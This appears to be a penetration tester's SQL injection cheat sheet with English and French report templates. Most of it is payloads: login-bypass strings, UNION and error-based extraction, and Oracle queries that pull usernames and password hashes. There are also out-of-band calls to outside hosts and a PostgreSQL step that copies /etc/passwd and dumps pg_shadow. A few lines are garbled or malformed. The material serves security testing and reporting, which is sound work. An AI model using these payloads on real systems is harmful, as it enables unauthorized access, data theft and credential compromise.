SQL Injection (SQLi)

💡 See labs WebSecurityAcademy (PortSwigger) – SQL Injections. For specific database cheat sheets, see PostgreSQL, MSSQL, SQLite, MySQL, IBM DB2, Oracle Database.

Tools

Detection

Detect SQL injection vulnerabilities by fuzzing all inputs to generate an error :

  • Parameters in URL, e.g. http://www.example.com/index.php?username=1’%20or%20’1’%20=%20’1&password=1’%20or%20’1’%20=%20’1
  • Elements from the user interface, like search box, login forms, etc.
  • Hidden fields
  • HTTP Headers
  • Cookies

Payloads to try :

'
;
"
--
/* */
AND
OR
enter a string when expecting a number
ASCII(97)
' OR 1=1--
'; waitfor delay ('0:0:20')--
exec master..xp_dirtree '//<id>.burpcollaborator.net/a'

Bypass Authentication / Login forms

Example 1

SELECT * FROM Users WHERE Username='$username' AND Password='$password'
UsernamePassword
1' or '1'='11′ or ‘1’=’1
administrator’ —foo

Example 2

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
UsernamePassword
1' or '1' = '1'))/*
1' or '1' = '1')) LIMIT 1/*
foo

Other payloads

<username>' OR 1=1--
'OR '' = '	Allows authentication without a valid username.
<username>'--
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
'OR 1=1--

# In login field
' or 1=1 --
') or 1=1 LIMIT 0,1 --
1' or '1'='1
admin' or '1 --
' union select (select group_concat(username, password) from users), 2 --
1 or (select substr(group_concat(username, password),i,1) from users) = (select char(j)) --
%bf' or 1=1 --

# In password field
' or 1=1 --

# Auth Bypass From SecLists
" or 1=1
" or 1=1#
" or 1=1--
" or 1=1/*
' or 1=1
' or 1=1#
' or 1=1--
' or 1=1/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
1234 " AND 1=0 UNION ALL SELECT "root", "81dc9bdb52d04dc20036dbd8313ed055
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
1234 ' AND 1=0 UNION ALL SELECT 'root', '81dc9bdb52d04dc20036dbd8313ed055
admin" #
admin" --
admin" or "1"="1
admin" or "1"="1"#
admin" or "1"="1"--
admin" or "1"="1"/*
admin" or 1=1
admin" or 1=1#
admin" or 1=1--
admin" or 1=1/*
admin") or "1"="1
admin") or "1"="1"#
admin") or "1"="1"--
admin") or "1"="1"/*
admin") or ("1"="1
admin") or ("1"="1"#
admin") or ("1"="1"--
admin") or ("1"="1"/*
admin"/*
admin"or 1=1 or ""="
admin' #
admin' --
admin' or '1'='1
admin' or '1'='1'#
admin' or '1'='1'--
admin' or '1'='1'/*
admin' or 1=1
admin' or 1=1#
admin' or 1=1--
admin' or 1=1/*
admin') or '1'='1
admin') or '1'='1'#
admin') or '1'='1'--
admin') or '1'='1'/*
admin') or ('1'='1
admin') or ('1'='1'#
admin') or ('1'='1'--
admin') or ('1'='1'/*
admin'/*
admin'or 1=1 or ''='
or 1=1
or 1=1#
or 1=1--
or 1=1/*
root" #
root" --
root" or "1"="1
root" or "1"="1"#
root" or "1"="1"--
root" or "1"="1"/*
root" or 1=1
root" or 1=1 or ""="
root" or 1=1#
root" or 1=1--
root" or 1=1/*
root") or "1"="1
root") or "1"="1"#
root") or "1"="1"--
root") or "1"="1"/*
root") or ("1"="1
root") or ("1"="1"#
root") or ("1"="1"--
root") or ("1"="1"/*
root"/*
root' #
root' --
root' or '1'='1
root' or '1'='1'#
root' or '1'='1'--
root' or '1'='1'/*
root' or 1=1
root' or 1=1#
root' or 1=1--
root' or 1=1/*
root') or '1'='1
root') or '1'='1'#
root') or '1'='1'--
root') or '1'='1'/*
root') or ('1'='1
root') or ('1'='1'#
root') or ('1'='1'--
root') or ('1'='1'/*
root'/*
root'or 1=1 or ''='

Data Extraction – UNION Technique

Find the number of columns in the query

Using the ORDER BY clause

Add the ORDER BY clause at the end of the vulnerable parameter:

1 ORDER BY 10--
Unknown column '10' in 'order clause'

Using NULL with the UNION clause

UNION technique
10 UNION SELECT 1,null,null--

1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Find which columns are displayed

1 union all select 1, 2, 3, ...

In forms

SQL QueryParameter value
SELECT * FROM products WHERE id_product=$id_product10 OR 1=1
Stacked queries
10; INSERT INTO users (
)
Error based (Oracle)
10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
ORA-292257: host SCOTT unknown
SELECT Name, Phone, Address FROM Users WHERE Id=$idTo find the number of columns for UNION technique
10 ORDER BY 10--
Unknown column '10' in 'order clause'
UNION technique
10 UNION SELECT 1,null,null--
1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
1; wait for delay '0:15:0'--
' or 1=1 --

Error based

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

Database Payload Examples

MySQL / MariaDB

1'1
1 exec sp_ (or exec xp_)
1 and 1=1
1' and 1=(select count(*) from tablenames); --
1 or 1=1
1' or '1'='1
' UNION SELECT 1, sql FROM sqlite_master WHERE type='table' --
' UNION SELECT table_schema || '.' || table_name from information_schema.tables -- 
' UNION SELECT column_name from information_schema.columns where table_name='<table name>' --

Oracle

Injection can also be in PL-SQL

upd_stmt := 'update t set x=' || :val || ', etc.etc.';;

execute immediate upd_stmt;

Payload examples

' or '1'='1
' or '1'='1
' || utl_http.request('http://x.x.x.x/')||'
' || myappadmin.adduser('admin', 'newpass') || '

' || UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL) )--

' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i

PostgreSQL

select version();	
select current_database();
select current_user;
select session_user;
select current_setting('log_connections');
select current_setting('log_statement');
select current_setting('port');
select current_setting('password_encryption');
select current_setting('krb_server_keyfile');
select current_setting('virtual_host');
select current_setting('port');
select current_setting('config_file');
select current_setting('hba_file');
select current_setting('data_directory');
select * from pg_shadow;
select * from pg_group;
create table myfile (input TEXT);
copy myfile from '/etc/passwd';
select * from myfile;copy myfile to /tmp/test;

DB2 for Unix

select versionnumber, version_timestamp from sysibm.sysversions;
select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
select current server from sysibm.sysdummy1;
select name from sysibm.systables;
select grantee from syscat.dbauth;
select * from syscat.tabauth;
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select name, tbname, coltype from sysibm.syscolumns;
select schemaname FROM syscat.schemata;

Reporting

CVSS Score v3Variable
CVSS Vector v3Variable

English

TitleSQL injection
DescriptionSQL injections happen when an application uses user-controlled input to create SQL queries without properly validating the input first.
A successful SQL injection attack can read or modify sensitive data from the database, execute administration operations on the database (e.g. shutdown), and in some cases issue commands on the operating system.
Steps to reproduceUsing Burp Suite, intercept HTTP requests.
Open a web browser and go to the web application.
Demonstrate the vulnerability and include screenshot
RemediationIt is recommended to

French

TitleInjection SQL (SQLi)
DescriptionLes injections SQL surviennent lorsqu’une application utilise des entrĂ©es modifiables par l’utilisateur pour crĂ©er des requĂȘtes SQL sans d’abord valider les entrĂ©es correctement.
Une injection SQL rĂ©ussie peut lire ou modifier de l’information sensible dans la base de donnĂ©es, exĂ©cuter des opĂ©rations administratives sur la base de donnĂ©es (ex. la fermer) et mĂȘme dans certains cas effectuer des commandes sur le serveur.
Steps to reproduceIntercepter les requĂȘtes Ă  l’aide de l’outil Burp Suite.
Ouvrir un navigateur web et aller Ă  l’application.
Demonstrate the vulnerability and include screenshot
RemediationIl est recommandĂ© de bien valider chaque paramĂštre qui sert Ă  construire les requĂȘtes SQL.
La difficultĂ© de correction est Ă©valuĂ©e Ă  “Moyenne”.